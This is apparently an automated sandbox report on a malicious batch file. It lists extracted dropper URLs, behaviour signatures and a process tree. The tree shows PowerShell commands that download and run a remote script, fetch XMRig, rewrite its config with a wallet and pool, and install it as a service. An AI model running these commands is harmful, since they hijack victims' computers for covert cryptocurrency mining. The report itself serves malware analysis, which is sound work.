Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    8s
  • max time network
    98s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/06/2024, 23:47

General

  • Target

    183391242416728.bat

  • Size

    517B

  • MD5

    ac9d73455d58bfa42f81e718b8c8d6b5

  • SHA1

    60040fff333b7bc09b22e5c013f11b8a99555ed3

  • SHA256

    4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12

  • SHA512

    ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://rentry.co/regele/raw

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip

Signatures

  • XMRig Miner payload 16 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 64 IoCs
  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\183391242416728.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2224
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3691.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4408
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3076
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:916
          • C:\Windows\system32\where.exe
            where powershell
            4⤵
              PID:3632
            • C:\Windows\system32\where.exe
              where find
              4⤵
                PID:3604
              • C:\Windows\system32\where.exe
                where findstr
                4⤵
                  PID:1748
                • C:\Windows\system32\where.exe
                  where tasklist
                  4⤵
                    PID:4064
                  • C:\Windows\system32\where.exe
                    where sc
                    4⤵
                      PID:4472
                    • C:\Windows\system32\sc.exe
                      sc stop moneroocean_miner
                      4⤵
                      • Launches sc.exe
                      PID:980
                    • C:\Windows\system32\sc.exe
                      sc delete moneroocean_miner
                      4⤵
                      • Launches sc.exe
                      PID:5016
                    • C:\Windows\system32\taskkill.exe
                      taskkill /f /t /im xmrig.exe
                      4⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4812
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1156
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3444
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1704
                    • C:\Users\Admin\moneroocean\xmrig.exe
                      "C:\Users\Admin\moneroocean\xmrig.exe" --help
                      4⤵
                      • Executes dropped EXE
                      PID:1228
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4968
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
                        5⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2376
                        • C:\Windows\system32\HOSTNAME.EXE
                          "C:\Windows\system32\HOSTNAME.EXE"
                          6⤵
                            PID:4856
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4440
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:916
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Ejefcdnk\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4272
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3584
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3636
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:3124
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:1560
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:2056
                      • C:\Windows\system32\sc.exe
                        sc stop moneroocean_miner
                        4⤵
                        • Launches sc.exe
                        PID:4472
                      • C:\Windows\system32\sc.exe
                        sc delete moneroocean_miner
                        4⤵
                        • Launches sc.exe
                        PID:3392
                      • C:\Users\Admin\moneroocean\nssm.exe
                        "C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"
                        4⤵
                          PID:1932
                        • C:\Users\Admin\moneroocean\nssm.exe
                          "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"
                          4⤵
                            PID:2560
                          • C:\Users\Admin\moneroocean\nssm.exe
                            "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS
                            4⤵
                              PID:1748
                            • C:\Users\Admin\moneroocean\nssm.exe
                              "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"
                              4⤵
                                PID:1144
                              • C:\Users\Admin\moneroocean\nssm.exe
                                "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"
                                4⤵
                                  PID:916
                                • C:\Users\Admin\moneroocean\nssm.exe
                                  "C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner
                                  4⤵
                                    PID:4964
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                2⤵
                                  PID:3216
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic cpu get loadpercentage
                                    3⤵
                                      PID:4540
                                  • C:\Windows\system32\timeout.exe
                                    timeout /t 1
                                    2⤵
                                    • Delays execution with timeout.exe
                                    PID:3248
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                    2⤵
                                      PID:1296
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic cpu get loadpercentage
                                        3⤵
                                          PID:1704
                                      • C:\Windows\system32\timeout.exe
                                        timeout /t 1
                                        2⤵
                                        • Delays execution with timeout.exe
                                        PID:5060
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                        2⤵
                                          PID:1520
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic cpu get loadpercentage
                                            3⤵
                                              PID:3648
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 1
                                            2⤵
                                            • Delays execution with timeout.exe
                                            PID:368
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                            2⤵
                                              PID:2024
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic cpu get loadpercentage
                                                3⤵
                                                  PID:2704
                                              • C:\Windows\system32\timeout.exe
                                                timeout /t 1
                                                2⤵
                                                • Delays execution with timeout.exe
                                                PID:1768
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                2⤵
                                                  PID:3064
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic cpu get loadpercentage
                                                    3⤵
                                                      PID:3236
                                                  • C:\Windows\system32\timeout.exe
                                                    timeout /t 1
                                                    2⤵
                                                      PID:4444
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                      2⤵
                                                        PID:468
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic cpu get loadpercentage
                                                          3⤵
                                                            PID:1844
                                                        • C:\Windows\system32\timeout.exe
                                                          timeout /t 1
                                                          2⤵
                                                          • Delays execution with timeout.exe
                                                          PID:4340
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                          2⤵
                                                            PID:4904
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic cpu get loadpercentage
                                                              3⤵
                                                                PID:4884
                                                            • C:\Windows\system32\timeout.exe
                                                              timeout /t 1
                                                              2⤵
                                                              • Delays execution with timeout.exe
                                                              PID:4236
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                              2⤵
                                                                PID:3596
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic cpu get loadpercentage
                                                                  3⤵
                                                                    PID:1076
                                                                • C:\Windows\system32\timeout.exe
                                                                  timeout /t 1
                                                                  2⤵
                                                                  • Delays execution with timeout.exe
                                                                  PID:4632
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                  2⤵
                                                                    PID:1932
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic cpu get loadpercentage
                                                                      3⤵
                                                                        PID:1796
                                                                    • C:\Windows\system32\timeout.exe
                                                                      timeout /t 1
                                                                      2⤵
                                                                      • Delays execution with timeout.exe
                                                                      PID:2500
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                      2⤵
                                                                        PID:1984
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic cpu get loadpercentage
                                                                          3⤵
                                                                            PID:4796
                                                                        • C:\Windows\system32\timeout.exe
                                                                          timeout /t 1
                                                                          2⤵
                                                                          • Delays execution with timeout.exe
                                                                          PID:808
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                          2⤵
                                                                            PID:4408
                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                              wmic cpu get loadpercentage
                                                                              3⤵
                                                                                PID:4888
                                                                            • C:\Windows\system32\timeout.exe
                                                                              timeout /t 1
                                                                              2⤵
                                                                              • Delays execution with timeout.exe
                                                                              PID:3948
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                              2⤵
                                                                                PID:2892
                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                  wmic cpu get loadpercentage
                                                                                  3⤵
                                                                                    PID:2584
                                                                                • C:\Windows\system32\timeout.exe
                                                                                  timeout /t 1
                                                                                  2⤵
                                                                                  • Delays execution with timeout.exe
                                                                                  PID:1700
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                  2⤵
                                                                                    PID:3732
                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                      wmic cpu get loadpercentage
                                                                                      3⤵
                                                                                        PID:3828
                                                                                    • C:\Windows\system32\timeout.exe
                                                                                      timeout /t 1
                                                                                      2⤵
                                                                                      • Delays execution with timeout.exe
                                                                                      PID:1228
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                      2⤵
                                                                                        PID:2424
                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                          wmic cpu get loadpercentage
                                                                                          3⤵
                                                                                            PID:1740
                                                                                        • C:\Windows\system32\timeout.exe
                                                                                          timeout /t 1
                                                                                          2⤵
                                                                                          • Delays execution with timeout.exe
                                                                                          PID:1868
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                          2⤵
                                                                                            PID:1896
                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                              wmic cpu get loadpercentage
                                                                                              3⤵
                                                                                                PID:3004
                                                                                            • C:\Windows\system32\timeout.exe
                                                                                              timeout /t 1
                                                                                              2⤵
                                                                                              • Delays execution with timeout.exe
                                                                                              PID:2308
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                              2⤵
                                                                                                PID:1180
                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                  wmic cpu get loadpercentage
                                                                                                  3⤵
                                                                                                    PID:368
                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                  timeout /t 1
                                                                                                  2⤵
                                                                                                  • Delays execution with timeout.exe
                                                                                                  PID:3124
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                  2⤵
                                                                                                    PID:3372
                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                      wmic cpu get loadpercentage
                                                                                                      3⤵
                                                                                                        PID:4316
                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                      timeout /t 1
                                                                                                      2⤵
                                                                                                        PID:3236
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                        2⤵
                                                                                                          PID:4536
                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                            wmic cpu get loadpercentage
                                                                                                            3⤵
                                                                                                              PID:2440
                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                            timeout /t 1
                                                                                                            2⤵
                                                                                                              PID:1708
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                              2⤵
                                                                                                                PID:4884
                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                  wmic cpu get loadpercentage
                                                                                                                  3⤵
                                                                                                                    PID:4648
                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                  timeout /t 1
                                                                                                                  2⤵
                                                                                                                  • Delays execution with timeout.exe
                                                                                                                  PID:2160
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                  2⤵
                                                                                                                    PID:1076
                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                      wmic cpu get loadpercentage
                                                                                                                      3⤵
                                                                                                                        PID:3472
                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                      timeout /t 1
                                                                                                                      2⤵
                                                                                                                      • Delays execution with timeout.exe
                                                                                                                      PID:900
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                      2⤵
                                                                                                                        PID:3632
                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                          wmic cpu get loadpercentage
                                                                                                                          3⤵
                                                                                                                            PID:944
                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                          timeout /t 1
                                                                                                                          2⤵
                                                                                                                          • Delays execution with timeout.exe
                                                                                                                          PID:2500
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                          2⤵
                                                                                                                            PID:2656
                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                              wmic cpu get loadpercentage
                                                                                                                              3⤵
                                                                                                                                PID:2428
                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                              timeout /t 1
                                                                                                                              2⤵
                                                                                                                              • Delays execution with timeout.exe
                                                                                                                              PID:2404
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                              2⤵
                                                                                                                                PID:4964
                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                  3⤵
                                                                                                                                    PID:3252
                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                  timeout /t 1
                                                                                                                                  2⤵
                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                  PID:4732
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                  2⤵
                                                                                                                                    PID:4052
                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                      3⤵
                                                                                                                                        PID:3856
                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                      timeout /t 1
                                                                                                                                      2⤵
                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                      PID:3880
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                      2⤵
                                                                                                                                        PID:1544
                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                          3⤵
                                                                                                                                            PID:3340
                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                          timeout /t 1
                                                                                                                                          2⤵
                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                          PID:3848
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                          2⤵
                                                                                                                                            PID:3056
                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                              3⤵
                                                                                                                                                PID:2356
                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                              timeout /t 1
                                                                                                                                              2⤵
                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                              PID:5048
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                              2⤵
                                                                                                                                                PID:3088
                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1740
                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                  timeout /t 1
                                                                                                                                                  2⤵
                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                  PID:2460
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4372
                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3028
                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                      timeout /t 1
                                                                                                                                                      2⤵
                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                      PID:3328
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2308
                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4524
                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                          timeout /t 1
                                                                                                                                                          2⤵
                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                          PID:1144
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4296
                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3188
                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                              timeout /t 1
                                                                                                                                                              2⤵
                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                              PID:4700
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                              2⤵
                                                                                                                                                                PID:4856
                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4316
                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                  timeout /t 1
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                  PID:4940
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1108
                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3424
                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                      timeout /t 1
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                      PID:4288
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:4920
                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4308
                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                          timeout /t 1
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1168
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:3552
                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:3804
                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                PID:2328
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:3356
                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2832
                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                    PID:1748
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:3024
                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:2320
                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                        PID:1428
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                        2⤵
